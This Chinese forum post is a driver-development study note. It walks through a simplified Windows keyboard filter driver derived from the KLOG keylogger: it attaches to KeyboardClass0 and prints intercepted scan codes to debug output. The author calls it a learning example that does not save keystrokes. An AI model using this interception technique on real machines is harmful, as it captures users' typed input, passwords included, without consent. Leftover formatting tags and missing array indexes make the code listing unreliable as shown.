找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
查看: 211|回复: 0

【驱动笔记15】键盘过滤驱动学习笔记

[复制链接]

210

主题

371

回帖

0

积分

管理员

积分
0
发表于 2013-10-16 23:35:27 | 显示全部楼层 |阅读模式
[bgcolor=#ffffff]键盘过滤驱动对于分层驱动的学习是一个很好的例子,它相对文件过滤驱动来说较为简单,也更容易理解。[/bgcolor]
[bgcolor=#ffffff]    并不是所有的驱动都需要直接访问硬件的,事实上几乎所有的硬件设备都存在着驱动程序链,最底层的驱动程序可以直接访问硬件,并对上层提供透明服务,最上层的驱动程序只要对接收到的数据进行过滤、格式化等处理即可,这样大大减少了开发的难度。[/bgcolor]
[bgcolor=#ffffff]我这次学习的对象是KLOG,但我将它的代码进行了精简,这样使得它的工作流程更容易被看清楚。[/bgcolor]
[bgcolor=#ffffff]首先看DriverEntry例程:[/bgcolor]

[bgcolor=#ffffff]NTSTATUS [/bgcolor]
[bgcolor=#ffffff]DriverEntry([/bgcolor]
[bgcolor=#ffffff]    IN PDRIVER_OBJECT    pDriverObject, [/bgcolor]
[bgcolor=#ffffff]    IN PUNICODE_STRING    RegistryPath [/bgcolor]
[bgcolor=#ffffff])[/bgcolor]
[bgcolor=#ffffff]{[/bgcolor]
[bgcolor=#ffffff]    [/bgcolor][bgcolor=#ffffff]int[/bgcolor][bgcolor=#ffffff]            i [/bgcolor][bgcolor=#ffffff]=[/bgcolor][bgcolor=#ffffff] [/bgcolor][bgcolor=#ffffff]0[/bgcolor][bgcolor=#ffffff];[/bgcolor]
[bgcolor=#ffffff]    PDEVICE_EXTENSION    pKeyboardDeviceExtension;[/bgcolor]

[bgcolor=#ffffff]    [/bgcolor][bgcolor=#ffffff]for[/bgcolor][bgcolor=#ffffff] (i [/bgcolor][bgcolor=#ffffff]=[/bgcolor][bgcolor=#ffffff] [/bgcolor][bgcolor=#ffffff]0[/bgcolor][bgcolor=#ffffff]; i [/bgcolor][bgcolor=#ffffff]<[/bgcolor][bgcolor=#ffffff] IRP_MJ_MAXIMUM_FUNCTION; i[/bgcolor][bgcolor=#ffffff]++[/bgcolor][bgcolor=#ffffff])[/bgcolor]
[bgcolor=#ffffff]    {[/bgcolor]
[bgcolor=#ffffff]        pDriverObject[/bgcolor][bgcolor=#ffffff]->[/bgcolor][bgcolor=#ffffff]MajorFunction[/bgcolor] = DispatchPassDown;
    }

    pDriverObject->MajorFunction[IRP_MJ_READ]    = DispatchRead;
    pDriverObject->DriverUnload            = Unload;
   
    // 开启记录
    HookKeyboard(pDriverObject);

    // 设置DEVICE_EXTERSION
    pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;

    return STATUS_SUCCESS;
}

    很容易看懂,我就不多说了,其中DispatchPassDown仅仅将接收到的IRP转发给下一层设备,代码就不贴了。下面我们先来看其中的重头戏之一:HookKeyboard。

NTSTATUS
HookKeyboard(
    IN PDRIVER_OBJECT    pDriverObject
)
{
    NTSTATUS        status;
    PDEVICE_OBJECT    pKeyboardDeviceObject;
    PDEVICE_EXTENSION    pKeyboardDeviceExtension;
    STRING            ntNameString;
    UNICODE_STRING    uKeyboardDeviceName;
    CCHAR            ntNameBuffer[64] = [bgcolor=#fff0f0]"[/bgcolor][bgcolor=#fff0f0]\\[/bgcolor][bgcolor=#fff0f0]Device[/bgcolor][bgcolor=#fff0f0]\\[/bgcolor][bgcolor=#fff0f0]KeyboardClass0"[/bgcolor];

    // 创建设备
    status = IoCreateDevice(pDriverObject,
                sizeof(DEVICE_EXTENSION),
                NULL,
                FILE_DEVICE_KEYBOARD,
                0,
                TRUE,
                &pKeyboardDeviceObject);
    if (!NT_SUCCESS(status))
    {
        return status;
    }

    pKeyboardDeviceObject->Flags |= (DO_BUFFERED_IO | DO_POWER_PAGABLE);
    pKeyboardDeviceObject->Flags &= ~DO_DEVICE_INITIALIZING;

    // 设置DEVICE_EXTENSION
    RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension, sizeof(DEVICE_EXTENSION));
    pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;

    // 绑定到设备
    RtlInitAnsiString(&ntNameString, ntNameBuffer);
    RtlAnsiStringToUnicodeString(&uKeyboardDeviceName, &ntNameString, TRUE);
    IoAttachDevice(pKeyboardDeviceObject, &uKeyboardDeviceName, &pKeyboardDeviceExtension->pKeyboardDevice);
    RtlFreeUnicodeString(&uKeyboardDeviceName);

    return STATUS_SUCCESS;
}

    首先IoCreateDevice不用多说了,在任何一个驱动程序中都会见到,关键是下面的Flags设置和IoAttachDevice。我们创建了设备之后,需要将其加入到键盘的驱动程序链中,这个具体转化为代码就是将我们的设备Attatch到"\\Device\\KeyboardClass0"中(当然不一定非得是这个设备,挂这个设备的主要目的是为了能够动态卸载我们的驱动,因此不能挂接更上层的设备)。
    为了得到按键操作的信息,我们发送一个IRP_MJ_READ到驱动的设备栈,由于此时还不一定有按键产生,于是驱动程序把这个IRP标记为pending状态,一旦有按键产生,则马上把这个IRP完成,所以我们需要在IRP_MJ_READ的处理例程中设置一个完成例程。(因为我们工作的异步模式下)


NTSTATUS
DispatchRead(
    IN PDEVICE_OBJECT    pDeviceObject,
    IN PIRP        pIrp
)
{
    PIO_STACK_LOCATION    currentIrpStack;
    PIO_STACK_LOCATION    nextIrpStack;


    currentIrpStack = IoGetCurrentIrpStackLocation(pIrp);
    nextIrpStack = IoGetNextIrpStackLocation(pIrp);
    *nextIrpStack = *currentIrpStack;
    // 设置完成例程
    IoSetCompletionRoutine(pIrp, OnReadCompletion, pDeviceObject, TRUE, TRUE, TRUE);
   
    return IoCallDriver(((PDEVICE_EXTENSION)pDeviceObject->DeviceExtension)->pKeyboardDevice, pIrp);
}

在这个完成例程OnReadCompletion中,我们就可以获取按键的信息了,代码如下所示:

NTSTATUS
OnReadCompletion(
    IN PDEVICE_OBJECT    pDeviceObject,
    IN PIRP                pIrp,
    IN PVOID            Context
)
{
    PDEVICE_EXTENSION        pKeyboardDeviceExtension;
    PKEYBOARD_INPUT_DATA        keys;
    int                numKeys;
    int                i = 0;

    pKeyboardDeviceExtension = (PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;

    if (pIrp->IoStatus.Status == STATUS_SUCCESS)
    {
        keys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
        numKeys = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);

        for(i = 0; i < numKeys; i++)
        {
            DbgPrint([bgcolor=#fff0f0]"ScanCode: %x[/bgcolor][bgcolor=#fff0f0]\n[/bgcolor][bgcolor=#fff0f0]"[/bgcolor], keys.MakeCode);
            
    //        if(keys.Flags == KEY_BREAK)
    //            DbgPrint("%s\n", "Key Up");        
    //        if(keys.Flags == KEY_MAKE)
    //            DbgPrint("%s\n", "Key Down");
        }
    }
   
    if(pIrp->PendingReturned)
    {
        IoMarkIrpPending(pIrp);
    }

    return pIrp->IoStatus.Status;
}

    不过这里我们获取到是只是按键的扫描码,如果想知道直观的按键信息,还需要写个函数进行处理,这里我就给省略了。虽然这个程序比起rootkit.com上面那个KLOG简单的多,使得它的流程更加清楚,也更容易理解,但它不实用。
    为什么呢?因为实用的键盘记录器应该能够将按键信息保存起来,这里我们只能通过DbgView来看到按键信息。但由于这个完成例程的IRQL为DISPATCH,不能进行文件操作,因此在KLOG的代码中是首先创建一个线程,然后在线程中进行保存操作,因为线程函数工作在PASSIVE,允许处理文件。
    一旦涉及到线程和文件操作就变得麻烦多了,关于这点可以通过KLOG的代码看出来,其实也不难,就是需要考虑的东西较多而已。
    最后说一下,这个程序还有一个BUG,就是在卸载的时候再有按键就会BSOD,因为在我们卸载驱动的时候,还有很多IRP处于pending状态,当我们被卸载后,再有按键操作,IRP返回后却找不到对应的驱动,就会造成蓝屏的后果。
关于这个问题,网上有很多文章都介绍了介绍的办法,我也没有实验过,就不废话了。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

果子博客
扫码关注微信公众号

Archiver|手机版|小黑屋|风叶林

GMT+8, 2026-2-1 03:24 , Processed in 0.071955 second(s), 20 queries .

Powered by 风叶林

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表